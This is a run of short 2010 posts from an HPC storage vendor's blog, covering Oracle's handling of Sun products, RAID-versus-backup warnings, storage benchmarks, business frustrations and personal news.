https://blog.scalability.org/2010/08/and-sge-goes-90-day-trial-license/ SGE, aka, Sun Grid Engine, is the latest bit of HPC collateral damage in the Oracle digestion of Sun. This is not to say its going away, Dan Templeton has a nice post on his site indicating that they have a roadmap and a future. Its just that it is no longer open source. You can’t use it for more than 90 days w/o a paid license from Oracle. Whoops. This said, the GE community is stepping up to do something about this, though my concern is that Oracle could lean on them a little. https://blog.scalability.org/2010/08/a-question-every-business-has-to-ask-themselves/ Thu, 19 Aug 2010 03:42:54 +0000 https://blog.scalability.org/2010/08/a-question-every-business-has-to-ask-themselves/ that is, what business are you in? Sounds strange … doesn’t it. This comes up from some recent experience with customers who are paying very late. Thinking this through, I am reminded of one of my favorite local restaurants, with a little aphorism on its wall. It reads This goes to the fundamental truth about your business and your competencies. We aren’t a lender of capital. I think its time we stopped any pretense at it. https://blog.scalability.org/2010/08/twitter-updates-for-2010-08-18/ Wed, 18 Aug 2010 11:05:00 +0000 https://blog.scalability.org/2010/08/twitter-updates-for-2010-08-18/ * We now have customers on 4 continents ... WOOT! [#](http://twitter.com/sijoe/statuses/21434952930) Powered by Twitter Tools https://blog.scalability.org/2010/08/dell-takes-3par/ Mon, 16 Aug 2010 15:32:06 +0000 https://blog.scalability.org/2010/08/dell-takes-3par/ 3PAR isn’t technically high performance storage. They are more of a competitor to EMC and HDS. Specifically in the array arena. This arena is a large one, though arrays are losing favor as compared to clustered storage systems (IDCs view, and I think StorageMojo’s as well). The article notes the price at $1.15B USD. It suggests Dell is focusing upon the integrated stack worldview, and thinks a switch vendor will be next. https://blog.scalability.org/2010/08/did-i-mention-raid-is-not-backup/ Mon, 16 Aug 2010 15:19:04 +0000 https://blog.scalability.org/2010/08/did-i-mention-raid-is-not-backup/ Another customer, been bugging them about this for a while. Get a backup of your data. Don’t presume that RAID means you can’t back it up. Then they encounter an issue. So … work with me on this. What is the cost of making 1 copy for cold storage somewhere? Cost in time and in hardware for storage. Then compare to that, what is the cost of recreating the lost data should something break? https://blog.scalability.org/2010/08/yes/ Sat, 14 Aug 2010 22:13:06 +0000 https://blog.scalability.org/2010/08/yes/ A good article on job creation and innovation at techcrunch. The author makes many points I have made in the past myself. His closing paragraph is dead on. Yes. Exactly. Please, by all means, read it all. https://blog.scalability.org/2010/08/insert-opensolaris_eulogy-h/ Sat, 14 Aug 2010 00:21:20 +0000 https://blog.scalability.org/2010/08/insert-opensolaris_eulogy-h/ She’s dead Jim. OpenSolaris is officially no more. From the memo, I don’t expect to see ZFS outside of Solaris any time soon. Which, in light of the development of btrfs and ceph (among others) will matter less and less over time. [update] oh yeah … in my rush to get this up, I used “insert” and not “include”. So a quick $title =~ s/insert/include/g ; and it makes more sense. https://blog.scalability.org/2010/08/shouldnt-we-just-say-no-to-java-already/ Fri, 13 Aug 2010 12:31:32 +0000 https://blog.scalability.org/2010/08/shouldnt-we-just-say-no-to-java-already/ Oracle is now going after Java centric products, specifically starting with Google. Java itself has largely failed as a write once run anywhere platform … it has always been a (not terribly good) solution in search of a (narrow) problem niche, trying to pretend to be a wide scale solution to all problems everywhere. And in that, it fails, miserably. There are two very painful aspects of web based applications I deal with on a daily basis. https://blog.scalability.org/2010/08/zomg-like-nodmraid-boot-option-totally-doesnt-work/ Thu, 12 Aug 2010 17:50:16 +0000 https://blog.scalability.org/2010/08/zomg-like-nodmraid-boot-option-totally-doesnt-work/ [zUPDATE]: zOMG its like … ya know … I made a typo and hit the wrong load …. nodmraid works fine (along with some brokenmodule=… magic). As Emily Litella would say, never mind. This one is (again) causing me to pull some of my rapidly disappearing hair out of my head. We don’t do fakeRAID. For many reasons. We have a vanishingly small interest in dm*. We want to turn it off. https://blog.scalability.org/2010/08/did-distributed-memory-really-win-2/ Thu, 12 Aug 2010 04:46:27 +0000 https://blog.scalability.org/2010/08/did-distributed-memory-really-win-2/ If you asked me years ago, I would have said, yes, of course it did. Now I am having second thoughts. Our processors have 4, 6, 8, 12 cores, and soon more like 16 and up. All sharing a set of pipes to RAM. Programming these can be done either with a distributed memory interface like MPI, or a much simpler interface like OpenMP. Vector processors ala GPU, Knights Ferry/Bridge are coming out which are little more than massive numbers of PEs and shared memory. https://blog.scalability.org/2010/08/evolution-of-clouds-in-hpc/ Thu, 12 Aug 2010 04:41:25 +0000 https://blog.scalability.org/2010/08/evolution-of-clouds-in-hpc/ I argue that clouds are v3.0 of the original idea, ASP. ASP provided a remote hardware/software environment to run your apps. It didn’t have the benefit of virtualization, standard stacks like LAMP, etc. Plus it had high costs to get started. It was destined/doomed to fail. ASP v2.0 came about with “grids”. They were the buzzword for a while, and sought to provide a “utility computing” (remember that) model? Provide a platform, make access easy, and they will come. https://blog.scalability.org/2010/08/raid-is-not-a-backup-number-987342-in-a-series/ Thu, 12 Aug 2010 04:29:22 +0000 https://blog.scalability.org/2010/08/raid-is-not-a-backup-number-987342-in-a-series/ Ok, raise your hand if you are using RAID as a backup. No, seriously. Those with your hands up … have you ever lost data? Want to? Keep using RAID as a backup. I don’t mean disk to disk backup. I mean not using a backup when you have a RAID. The RAID is your backup. What is the cost to replace all the material you have created over time stored on that RAID? https://blog.scalability.org/2010/08/ahh-the-joy-of-business/ Wed, 11 Aug 2010 20:01:47 +0000 https://blog.scalability.org/2010/08/ahh-the-joy-of-business/ I like what we do, we are pretty good at it. Every now and then though, we have some …er … more interesting moments. Have a customer now who, for the past several invoices, has required us to engage legal counsel to get them to pay. This is ridiculous … I’ve thought of naming and shaming them, but its not worth it. Firing them as a customer is what the business books recommend. https://blog.scalability.org/2010/08/it-looks-like-people-are-starting-to-get-it/ Tue, 10 Aug 2010 02:12:13 +0000 https://blog.scalability.org/2010/08/it-looks-like-people-are-starting-to-get-it/ I’ve been a strong proponent of real security … not security theatre … since I saw what crackers will do to unwitting customers. Most of the exploits I’ve seen over the past several years has been due to a very weak point of entry, coupled with some keylogger technology. I’ve watched otherwise secure Linux clusters be compromised easily, when a grad student running windows happily typed the root password sshing in. https://blog.scalability.org/2010/08/how-you-can-tell-the-universe-is-conspiring-against-you/ Sat, 07 Aug 2010 12:39:07 +0000 https://blog.scalability.org/2010/08/how-you-can-tell-the-universe-is-conspiring-against-you/ A few weeks ago, I had a meeting in Chicago. Well, I would have had the meeting, had I not had a really bad kidney stone attack that week. Won’t get into that, other than to note that it hurt badly, and I wound up in a hospital and ER for ~3.5 days. Released that thursday, I had been scheduled to drive to Chicago that night. Given how saturated I was with pain meds, I didn’t think this was the wisest of ideas. https://blog.scalability.org/2010/08/oraclesuns-hpc-goes-away/ Fri, 06 Aug 2010 01:31:50 +0000 https://blog.scalability.org/2010/08/oraclesuns-hpc-goes-away/ You knew something like this could happen … but probably, like most others, you never thought it really would. Unfortunately,it appears to have happened. The technologies in Oracle’s HPC quiver include SGE (aka GridEngine), Lustre, and several others. Lustre really doesn’t have use cases outside of HPC storage. The SGE product largely doesn’t have use cases outside of HPC (though you could use it in some fairly creative ways). We have customers with business dependencies on SGE. https://blog.scalability.org/2010/08/twitter-updates-for-2010-08-05/ Thu, 05 Aug 2010 12:05:00 +0000 https://blog.scalability.org/2010/08/twitter-updates-for-2010-08-05/ * Congrats @[RickForMI](http://twitter.com/RickForMI) on your win. Let us know how we can help! [#](http://twitter.com/sijoe/statuses/20308293872) * @[Obdurodon](http://twitter.com/Obdurodon) seen that a bit with (insert your favorite distribution here). Need to promote the concept that a distro is an instance of linux [in reply to Obdurodon](http://twitter.com/Obdurodon/statuses/20312247237) [#](http://twitter.com/sijoe/statuses/20317313478) * @[herrold](http://twitter.com/herrold) Have seen lots of folks thinking that our time/effort/materials were free because the software was. [in reply to herrold](http://twitter.com/herrold/statuses/20316475702) [#](http://twitter.com/sijoe/statuses/20317379240) Powered by Twitter Tools https://blog.scalability.org/2010/08/this-day-has-been-exhausting-and-exhilarating/ Wed, 04 Aug 2010 21:30:10 +0000 https://blog.scalability.org/2010/08/this-day-has-been-exhausting-and-exhilarating/ I can’t say why just yet. Lets see if anything comes of it, I certainly hope so. Spent … I dunno … most of the day … in meetings or on the phone. Good stuff is a-brewing. Good stuff. https://blog.scalability.org/2010/08/ot-michigan-has-a-computer-guy-running-for-governer/ Wed, 04 Aug 2010 01:58:54 +0000 https://blog.scalability.org/2010/08/ot-michigan-has-a-computer-guy-running-for-governer/ … and it looks like he just won his primary. I am not normally one for discussing much politics here, I’ll keep that to a minimum. Rick Snyder is a former Gateway exec, and has been a VC in the Ann Arbor area. I’ve never met him personally, but have heard nothing but good things from people whom have met him. Our daughters attended the same school, and will again next school year. https://blog.scalability.org/2010/08/interesting-ssd-results-with-a-late-model-kernel/ Mon, 02 Aug 2010 19:57:00 +0000 https://blog.scalability.org/2010/08/interesting-ssd-results-with-a-late-model-kernel/ Basic MD raid0, xfs file system, 2 SSD Intel drives (X25-e). There are quite a few benchmarketing numbers out there, and no, I won’t regurgitate them. Or believe them for that matter. Just built a testing kernel out of 2.6.35, installed it on a test machine, and I wanted to see the impact on random reads/writes of a few of the changes to xfs and others. From our (otherwise excellent) 2. https://blog.scalability.org/2010/07/as-of-1-august-2010-two-important-milestones-have-been-reached/ Sat, 31 Jul 2010 02:06:57 +0000 https://blog.scalability.org/2010/07/as-of-1-august-2010-two-important-milestones-have-been-reached/ First, and most important … my 19th wedding anniversary. Woot! I’m a lucky guy, and I know it! Second, and very important for the day job front, we’ve been in business 8 years … self bootstrapped, profitable, and growing. This is not to say we don’t need capital, but we are a business first, and making a loss is not something we can sustain for very long, as we fund our operations from our cash flow. https://blog.scalability.org/2010/07/almost-but-not-quite-2/ Sat, 31 Jul 2010 01:49:33 +0000 https://blog.scalability.org/2010/07/almost-but-not-quite-2/ Matt Asay has an interesting article at The Register. In it, he argues that Microsoft needs to adapt to the world that has evolved around it, and do something drastic. This article references a Wall Street Journal article/post on the state of Microsoft and the lack of motion of its share price over the last decade. In the quoted WSJ article, Matt points to a paragraph that I’ll repeat here: https://blog.scalability.org/2010/07/mpiblast-test-rpms-for-1-6-0-available/ Sat, 31 Jul 2010 01:03:34 +0000 https://blog.scalability.org/2010/07/mpiblast-test-rpms-for-1-6-0-available/ See here. These are in testing, so please report any bugs/errors. mpiBLAST is of course is one of the original cluster-accelerated BLAST implementations, being developed by Wu Feng’s group at VT. IMO there is a strong need for applications like this, as well as mpihmmer and others. As data set sizes continue to grow at exponential paces, we need tools that can scale to the need. mpiBLAST is definitely in this set of tools … being an enabling technology to perform analyses at scale, that might not be possible without it. https://blog.scalability.org/2010/07/a-view-of-bluearc-and-to-a-degree-a-fair-number-of-storage-companies/ Sat, 31 Jul 2010 00:54:56 +0000 https://blog.scalability.org/2010/07/a-view-of-bluearc-and-to-a-degree-a-fair-number-of-storage-companies/ At The Register, Chris Mellor has an interesting article on Bluearc. In it he notes that they just raised a new series of capital Seven rounds. Total capital input is $225M USD. For a VC to be really interested, they need to see some serious multiplicative effects of this investment. Assume that they can exit at 10x valuation … assume that for $20M they sold 50-ish percent of the company. VC’s typically want in the 33-50% region, and the money is expensive. https://blog.scalability.org/2010/07/unifying-the-jackrabbit-and-deltav-baseline-loads/ Tue, 27 Jul 2010 04:48:56 +0000 https://blog.scalability.org/2010/07/unifying-the-jackrabbit-and-deltav-baseline-loads/ For a while, we’ve used Ubuntu 8.04 as the baseline distribution for DeltaV. In the earlier days, it was easier to get some aspects of the load working, as we had a modern kernel and userspace to work from. Ubuntu 10.04 has come out, and I am not sure I like it as much. It has some good features, but Canonical has been pushing Ubuntu into some not so great directions as of late, IMO. https://blog.scalability.org/2010/07/the-day-job-laptop/ Mon, 26 Jul 2010 20:09:48 +0000 https://blog.scalability.org/2010/07/the-day-job-laptop/ … died. Display randomly quits. Just weeks after the warranty expired. Ugh. Spec’s for new one: 8+ GB RAM, quad core Intel, Nvidia graphics. So far, Dell has a 4500 workstation that looks good, and HP has a multimedia laptop that looks good. Anyone else I should look at? Need to run Linux, Windows 7. Mostly Linux. 64 bit. Long battery life (3+ hours) would be nice, this is what I have today. https://blog.scalability.org/2010/07/and-another-solaris-oem-agreement-bites-the-dust/ Mon, 26 Jul 2010 17:59:24 +0000 https://blog.scalability.org/2010/07/and-another-solaris-oem-agreement-bites-the-dust/ (with apologies to Queen) Looks like Oracle/IBM have parted ways on Solaris. None of this bodes well for Solaris market share. If Oracle wants a private OS to run for Oracle’s apps, to compel people to buy its hardware/OS to run, then, well, it might pursue a strategy like this. Or maybe IBM demanded onerous terms. Or … Ok, we don’t know. But that agreement is coming to an end. Which suggests that Oracle isn’t interested in saving it. https://blog.scalability.org/2010/07/so-what-do-we-do-when-our-software-raid-is-faster-than-their-hardware-raid/ Mon, 26 Jul 2010 13:56:48 +0000 https://blog.scalability.org/2010/07/so-what-do-we-do-when-our-software-raid-is-faster-than-their-hardware-raid/ Results from our baseline tests of our Delta-V unit is showing a sustained write speed north of 850 MB/s, and a sustained read speed north of 1 GB/s. I compare these numbers to some of our competitiors systems, and note that these are a bit higher than what we have seen reported from them in realistic configurations. These systems are slated to be iSCSI targets for the customer who bought them. https://blog.scalability.org/2010/07/dv4-tuned/ Mon, 26 Jul 2010 03:19:01 +0000 https://blog.scalability.org/2010/07/dv4-tuned/ spent the weekend working on our DeltaV 4 unit, tuning it a bit. Previous write numbers were a bit lower than I liked. So we adjusted some of the configuration a little. This is what resulted (old write numbers were in the 450MB/s region for this test) Run status group 0 (all jobs): WRITE: io=31,748MB, aggrb=788MB/s, minb=807MB/s, maxb=807MB/s, mint=40264msec, maxt=40264msec This is way outside system cache. Its also faster than many of the hardware raid vendors machines in this size class, and far more cost effective. https://blog.scalability.org/2010/07/in-a-world-of-vector-and-intrinsically-parallel-machines/ Sun, 25 Jul 2010 16:40:27 +0000 https://blog.scalability.org/2010/07/in-a-world-of-vector-and-intrinsically-parallel-machines/ … why are we still programming them with serial languages? And more to the point, why are these language compilers so terrible at converting serial code to parallel code? No, seriously … I know there are several constraints on the semantics of the serial language code processing. Debugging and exceptions for one … you wouldn’t want to signal a floating point exception in code that had nothing to do with the FPE in the first place. https://blog.scalability.org/2010/07/conservative-me-nah/ Sun, 25 Jul 2010 05:46:26 +0000 https://blog.scalability.org/2010/07/conservative-me-nah/ Ok, well, maybe. This is about text editors, not political affiliations by the way. I’ve been using nedit for a while. I had just switched to it when I started working on my thesis … er … a while ago. It was nice, as the same editor worked nicely on Irix and OS/2. My thesis was written in TeX (and yes, it was assembled with a Makefile), nedit was a great editor for this … It was a terrific editor for Fortran programming, and not bad for C, Perl, C++, … But … as with all things … it is showing its age. https://blog.scalability.org/2010/07/ot-the-joy-that-are-kidney-stones/ Fri, 23 Jul 2010 09:30:19 +0000 https://blog.scalability.org/2010/07/ot-the-joy-that-are-kidney-stones/ No … seriously … not. I spent the 2.5 of the last 4 days in hospital, and yesterday, had to go to the ER to deal with complications and some fairly incredible amounts of pain. I had to postpone phone calls, a trip to Chicago, etc. Not happy about this. And in the course of this, I learned I had yet another stone on the right. Let me reiterate. Toradol is your friend if you are in this way. https://blog.scalability.org/2010/07/on-the-test-track-with-a-new-delta-v/ Fri, 23 Jul 2010 08:44:45 +0000 https://blog.scalability.org/2010/07/on-the-test-track-with-a-new-delta-v/ At the day job, we have another to finish building today, and then build the RAID. This is the 3rd unit of the new generation of Delta-V’s, and they are generally showing better overall performance than the older versions. Delta-V’s are cost optimized storage platforms, suitable for block and file storage targets, as well as very cost effective cluster storage platforms. You do need good performance on your storage devices … especially as the size of storage grows. https://blog.scalability.org/2010/07/ot-round-four-of-kidney-stones/ Tue, 20 Jul 2010 14:45:37 +0000 https://blog.scalability.org/2010/07/ot-round-four-of-kidney-stones/ i’d like to file a bug report on my biochemistry … There is something not quite right about getting another stone so quickly Well at least I know what happens next. If you are ever in this situation yourself remember Toradol is your friend. Well hopefully this one will go easier than the previous. https://blog.scalability.org/2010/07/thoughts-on-ssds-spinning-rust/ Mon, 19 Jul 2010 14:39:15 +0000 https://blog.scalability.org/2010/07/thoughts-on-ssds-spinning-rust/ So SSDs are upon us with a vengeance. No one is actively predicting the death of spinning rust … yet. But its in the back of many folks minds, even if they aren’t saying it now. Similar to the death of tape. Yeah, I know, its still around. Call that the long tail. Sequential storage mechanisms are going the way of the dodo bird. The issues everyone worries about are cost per data volume, and speed of access/recovery, not to mention longevity. https://blog.scalability.org/2010/07/ot-the-day-job-documentation-site-is-up-with-content-being-added/ Fri, 16 Jul 2010 16:21:44 +0000 https://blog.scalability.org/2010/07/ot-the-day-job-documentation-site-is-up-with-content-being-added/ There is a back story on this. Basically writing documentation takes a while, and when it changes, you have to update many things. I personally find this task painful … in the sense of its hard to make small changes the way most documentation works. In addition, for years, we’ve been wanting to go “all electronic”. Paper and printed documentation gets lost or destroyed, you have to regenerate it … and oh, as noted above, its hard to make small changes. https://blog.scalability.org/2010/07/and-projects-have-to-figure-out-their-future/ Tue, 13 Jul 2010 19:46:27 +0000 https://blog.scalability.org/2010/07/and-projects-have-to-figure-out-their-future/ OpenSolaris future is very much in doubt. There is a shelf life on this product, it expires 16-August-2010, unless Oracle decides to communicate actively with the project. I had suggested this previously, that OpenSolaris is likely under serious review by Oracle. What possible business model could they have for OpenSolaris to be accretive to Oracle’s bottom line, when they give it away, and others get support revenue from it? Well there are several possible, but they involve some changes to licensing, and support models. https://blog.scalability.org/2010/07/as-the-market-changes-2/ Tue, 13 Jul 2010 19:24:16 +0000 https://blog.scalability.org/2010/07/as-the-market-changes-2/ As noted in the previous post, the EC2 CC1 bit is likely to be game changing for commercial users. The market is undergoing one of its transformations, but I am seeing two different, actually complementary trends, occurring at the same time. When these changes have happened in the past, a process of creative destruction has occurred. That is, something old was destroyed, and in the process, something new flourished. The changes driving this market in the past has been the cost per computing cycle, and the up-front purchase/lease costs. https://blog.scalability.org/2010/07/this-could-be-game-changing-for-lots-of-users/ Tue, 13 Jul 2010 12:30:27 +0000 https://blog.scalability.org/2010/07/this-could-be-game-changing-for-lots-of-users/ Amazon announced the EC2 availability for HPC users. As per the article on InsideHPC, previous incarnations of EC2 didn’t really work well for low latency jobs or large runs. They still have a storage issue (e.g. storage performance and parallel IO), that we’d be happy to help with. Why is this potentially game changing for the market? A number of reasons. You can exploit a complete pay-as-you-go view for whatever you want to boot up (minus accelerators). https://blog.scalability.org/2010/07/ok-this-one-makes-you-think-did-they-really-want-to-do-that/ Thu, 08 Jul 2010 13:15:58 +0000 https://blog.scalability.org/2010/07/ok-this-one-makes-you-think-did-they-really-want-to-do-that/ The US Cyber command, a new … er … entity in the US that, er … will protect us … somehow … has an interesting seal. On that seal is a “cipher” of some sort. Well that “cipher”, 9ec4c12949a4f31474f299058ce2b22a appears around the inner ring of the seal. Wired noticed this and had a contest to de-cipher it. The Register noticed this, and, as all deep techies might say, ya know, it looks a heckuva lot like an md5 hash of something. https://blog.scalability.org/2010/07/using-zfs-in-your-storage-considered-harmful-without-a-license-from-netapp/ Wed, 07 Jul 2010 12:08:48 +0000 https://blog.scalability.org/2010/07/using-zfs-in-your-storage-considered-harmful-without-a-license-from-netapp/ Chalk this up to “you knew this would happen”. NetApp is going after ZFS storage vendors, folks who use ZFS in their products, as infringing upon NetApp patents. Yes Virginia, this includes open source vendors. Anyone wanna take bets as to whether or not the license fees will be “set low”? I have my doubts. ZFS directly impacts NetApp’s business model. It is unlikely that they will use RAND pricing. Well … their version of “reasonable” may not mean the same thing as others version of “reasonable”. https://blog.scalability.org/2010/07/approaching-1-penetration-into-top-500/ Wed, 07 Jul 2010 07:09:06 +0000 https://blog.scalability.org/2010/07/approaching-1-penetration-into-top-500/ I know … I know … 1% isn’t much of the top500. But its progress. This is for siCluster storage clusters … not the computing cluster portion. None in the top 10, but we are working on it. https://blog.scalability.org/2010/07/and-turns-off-their-cloud-storage-bits/ Wed, 07 Jul 2010 00:04:44 +0000 https://blog.scalability.org/2010/07/and-turns-off-their-cloud-storage-bits/ EMC is … um … gently nudging … with great force … customers off of atmos. One of the points we talk about with our customers is the concept of freedom from bricking in a physical sense. That is, our hardware and software stack will let you keep on using it and having it supported and supportable, even if we decide to turn the company into something unrelated to HPC and storage. https://blog.scalability.org/2010/07/emc-gobbles-greenplum/ Tue, 06 Jul 2010 23:54:19 +0000 https://blog.scalability.org/2010/07/emc-gobbles-greenplum/ While EMC is not really an HPC player in a significant sense, business analytics and informatics is definitely an HPC process. Greenplum has a modified version of Postgresql that is parallelized quite well. And they have been using it to target specific market segments inhabited by Teradata and others. So along comes EMC and snaps them up. There are probably several good and interesting reasons for this. One that hasn’t escaped me is that EMC sees many of its partners in the world creating vertically integrated offerings. https://blog.scalability.org/2010/07/happy-4th-of-july/ Sun, 04 Jul 2010 19:07:54 +0000 https://blog.scalability.org/2010/07/happy-4th-of-july/ For our readers outside the US, the 4th of July is our Independence day. It has become terribly commercialized. Its meaning has been subjugated to other imperatives. I personally find this sad, as the freedoms we enjoy here in the US are sadly not enjoyed everywhere … and the meaning of this day in our history is being diluted. Our freedoms come at a cost, sometimes a terrible one. We ought to remember this on our day of independence. https://blog.scalability.org/2010/07/ot-hilarious/ Sat, 03 Jul 2010 11:10:59 +0000 https://blog.scalability.org/2010/07/ot-hilarious/ link to original See more funny videos and funny pictures at CollegeHumor. https://blog.scalability.org/2010/07/this-is-going-to-leave-a-mark-looks-like-there-is-an-hpc-component-as-well/ Fri, 02 Jul 2010 11:27:26 +0000 https://blog.scalability.org/2010/07/this-is-going-to-leave-a-mark-looks-like-there-is-an-hpc-component-as-well/ I saw this a few days ago and ignored it at first. Vendor bashing pieces are nothing new from the media. To paraphrase Mark Twain: Rumors of Dell’s demise are greatly exaggerated. Dell is, and continues to be a powerhouse at pushing machines out. Their innovation is, basically customized machines in volume. There is no magic in their machines, they use the same parts from the same sources as others do. https://blog.scalability.org/2010/07/on-the-test-track-with-a-new-model-jackrabbit/ Fri, 02 Jul 2010 08:56:52 +0000 https://blog.scalability.org/2010/07/on-the-test-track-with-a-new-model-jackrabbit/ This is going out to a customer in about a week, though we have a little time to run tests. Tuning these units is like tuning an engine … and you like to tweak and tune, you eventually learn where the parameters of this engine, from tuning, hit good efficiency. You get a feel for it. You tune one parameter, the vibration pattern changes slightly. You tune another parameter, you get another overtone. https://blog.scalability.org/2010/06/do-the-heroic-class-systems-provide-a-benefit-to-their-vendors-in-terms-of-follow-on-sales/ Wed, 30 Jun 2010 23:18:30 +0000 https://blog.scalability.org/2010/06/do-the-heroic-class-systems-provide-a-benefit-to-their-vendors-in-terms-of-follow-on-sales/ This discussion erupted on the beowulf list today. I responded to a question on this, pointing out that prestige adds nothing to the bottom line. What matters is, not so curiously, the bottom line. One author disagreed with me. His point was that prestige class systems translated into sales for the relevant vendors. I think his examples were stretches, and not applicable to HPC. All of the public (and private) responses I have seen seem to support my thesis on this. https://blog.scalability.org/2010/06/i-am-slowly-coming-to-the-realization/ Wed, 30 Jun 2010 15:53:46 +0000 https://blog.scalability.org/2010/06/i-am-slowly-coming-to-the-realization/ that basic systems management and configuration are neither well known nor well understood, by the vast majority of people. Even the ones with certifications who should know this stuff. This is leading me to rethink some of the basic elements of the out-of-box experience. Part of this is driven by the tendency of certain distributions to remap, effectively randomly, their network port assignments. This is never, under any circumstances, a good thing. https://blog.scalability.org/2010/06/sicluster-in-action-blinken-blue-lights/ Sun, 27 Jun 2010 15:37:41 +0000 https://blog.scalability.org/2010/06/sicluster-in-action-blinken-blue-lights/ Running some burn-in testing as I remember (older video) … [FLOWPLAYER=/wp-content/videos/siCluster_in_action.flv,320,200] You can just feel the bits-a-flowing … paraphrasing Apocalypse Now “I love the smell of many GB/s in the morning …” https://blog.scalability.org/2010/06/hmm-patenting-a-market-process/ Sat, 26 Jun 2010 20:35:07 +0000 https://blog.scalability.org/2010/06/hmm-patenting-a-market-process/ /. linked to a newly granted patent by Amazon. I am all for good patents, but given the number of … er … not so good ones I’ve read through, as well as obvious rehashing of existing work … I don’t know what to make of this one. This seems … well … like patenting any instance of a market exchanging money for computer time and/or storage, based upon a pricing model determined by past histories or current demand/availability. https://blog.scalability.org/2010/06/raid-is-not-backup-really/ Mon, 21 Jun 2010 11:38:10 +0000 https://blog.scalability.org/2010/06/raid-is-not-backup-really/ A customer with a RAID6 and RAID1 OS drive just had what amounts to an epic failure. 4 drives gone. These are pretty good drives, not a known bad batch. Data points to environmental issues (heat). They don’t understand it, given the nice AC in there, but looking at the drives, a number of them were warm. We have fans doing a pull across the drives, they shouldn’t have been as warm as they were. https://blog.scalability.org/2010/06/youve-been-comcasted/ Sun, 20 Jun 2010 21:07:12 +0000 https://blog.scalability.org/2010/06/youve-been-comcasted/ Strong storms ran through the area Friday night. And it messed with TV and internet. The former, not so concerned about. The latter … scalability.org runs from a home machine. We don’t generate revenue from it, and I am not willing to host it on a provider so I don’t want it to be marginally more costly than our internet service plus our home power to run the server (relatively light BTW). https://blog.scalability.org/2010/06/you-knew-something-like-this-was-coming/ Fri, 18 Jun 2010 14:57:56 +0000 https://blog.scalability.org/2010/06/you-knew-something-like-this-was-coming/ Oracle setting Solaris on HP boxen. Oracle wants the hardware revenue too … though it could also be a step to dropping x64 platforms for Solaris. I can’t see how this is a good move for Solaris ubiquity, given the ability of HP to move hardware. And the name of the game for growing OS support is … curiously … ubiquity. https://blog.scalability.org/2010/06/fortran-io-giving-customers-grief/ Fri, 11 Jun 2010 22:26:18 +0000 https://blog.scalability.org/2010/06/fortran-io-giving-customers-grief/ This is annoying. Intel’s compilers do unbuffered IO by default (as in out of the box). Which means if you have code like this: #define BIG 1000000000 real*8 X(BIG) do i=1,BIG write (unit=10,*) X(i) enddo then you are going to suffer terrible performance, as Fortran (Intel’s compiled version) will do a flush at the end of each write. Which means, for a high performance network file system, you are going be hitting it with many ~25 byte writes. https://blog.scalability.org/2010/06/unintended-consequences/ Fri, 11 Jun 2010 14:34:31 +0000 https://blog.scalability.org/2010/06/unintended-consequences/ So the fine folks at Adobe have decided to yank the beta for 10.1 flash player for 64 bit Linux. And in a Kafkaesque manner, have suggested discussing this in the forum … which they marked as “read only”. Umm …. are they trying, purposely, to lend credence to Steve Jobs' points about closed technologies that are bug ridden? This project is being closed apparently due to a zero day hard-to-fix exploit … based upon a supposition that the recent flash exploits had been patched on some platforms. https://blog.scalability.org/2010/06/open-source-and-billion-dollar-109usd-companies/ Fri, 11 Jun 2010 12:36:10 +0000 https://blog.scalability.org/2010/06/open-source-and-billion-dollar-109usd-companies/ An interesting post in computer world UK on why open source companies, and Redhat in particular are not larger. The raison d’etre for open source in business is an effective reduction in costs. The increase in quality over some of the closed source alternatives is also very attractive. Increased quality lowers costs. Of course, not all open source is better … witness the changes Ubuntu has made in their NVidia support, opting for the lower quality nouveau driver as compared to the very good NVidia driver. https://blog.scalability.org/2010/06/and-parascale-appears-to-be-in-trouble/ Tue, 08 Jun 2010 20:19:25 +0000 https://blog.scalability.org/2010/06/and-parascale-appears-to-be-in-trouble/ Provider of a “cloud NAS” (getting to be a crowded market), and then doing strategy switching … hmmm. The Register has the story. Sounds like they tried to grab one of our mantras, apparently unsuccessfully. I am not sure if they are a competitor, we’ve never run into them. The register piece notes the crowded NAS landscape, but doesn’t seem to be looking at the cluster storage landscape which, I’d argue, was more of the parascale play. https://blog.scalability.org/2010/06/ext3-branch-next3-released/ Tue, 08 Jun 2010 17:17:13 +0000 https://blog.scalability.org/2010/06/ext3-branch-next3-released/ This is interesting at some level, as it is ext3 with snapshots. It is also not as interesting as it is based on … ext3 … which isn’t exactly a high performance file system. Not to mention the 8TB limit on volumes, and 2TB on files. Haven’t seen customers run into the latter, have seen them run into the former. Head first, and hard. I’d argue that this capability would be better merged with ext4, though as I understand it, Ted T’so isn’t quite interested at this point. https://blog.scalability.org/2010/06/lustres-future/ Tue, 08 Jun 2010 13:48:03 +0000 https://blog.scalability.org/2010/06/lustres-future/ I’ve written here in the past about this. I have concerns as we have multiple customers using Lustre, and the official roadmap for support/releases for Lustre is anything but assuring. Moreover, it completely forecloses upon independent appliance makers using Lustre without blessing from a competitive/engaged Oracle … it is left to the reader to decide whether this will or will not happen. As I had noted before, this throws a wrench in the works of the smaller fry like Terascala. https://blog.scalability.org/2010/06/zfs-on-linux/ Tue, 08 Jun 2010 10:52:24 +0000 https://blog.scalability.org/2010/06/zfs-on-linux/ It appears that this is in process … no, not simply the ZFS on FUSE, but a full fledged kernel subsystem. This is interesting. ZFS is of course, the Sun file system which has had an altogether ridiculous amount of hype, while having a modest set of nice features. The Solaris and OpenSolaris was released under was not compatible with GPL, hence many people considered this OSino (Open Source in name only), as it was not legally possible to intermix the code between the largest GPL project (Linux) and the OpenSolaris code base. https://blog.scalability.org/2010/06/oraclesun-to-axe-products-based-upon-opteron/ Mon, 07 Jun 2010 07:26:58 +0000 https://blog.scalability.org/2010/06/oraclesun-to-axe-products-based-upon-opteron/ Well, this link from 2 weeks ago in The Reg claims this. If this is the case, and I have no reason to doubt it, not only has thumper been EOLed, but Thor as well. We are already working out trade-in deals for customers with some of these EOLed bits. Looks like more in progress soon. https://blog.scalability.org/2010/06/the-joy-of-voip/ Sun, 06 Jun 2010 17:43:31 +0000 https://blog.scalability.org/2010/06/the-joy-of-voip/ Our VOIP provider has some significant problems. A utility provider can’t make changes and then insist that we’ve changed something in our own network (we haven’t), as to the reason why the phones enter endless reboot cycles. Their firmware updates seem not to like traversing our router anymore. But we didn’t change our router. They did change their firmware. Since that change, we’ve had all manner of problems. So I think we are going to have to fire them and find a new provider. https://blog.scalability.org/2010/06/taking-our-lumps-and-some-of-our-partners-lumps-while-we-are-at-it/ Sat, 05 Jun 2010 20:33:26 +0000 https://blog.scalability.org/2010/06/taking-our-lumps-and-some-of-our-partners-lumps-while-we-are-at-it/ We had a recent event that badly irked a customer, and rightly so. It took far too long for us to be able to get a replacement part for them. I want to talk about this a little. I won’t name the customer or partner, or the product. The punchline for the customer 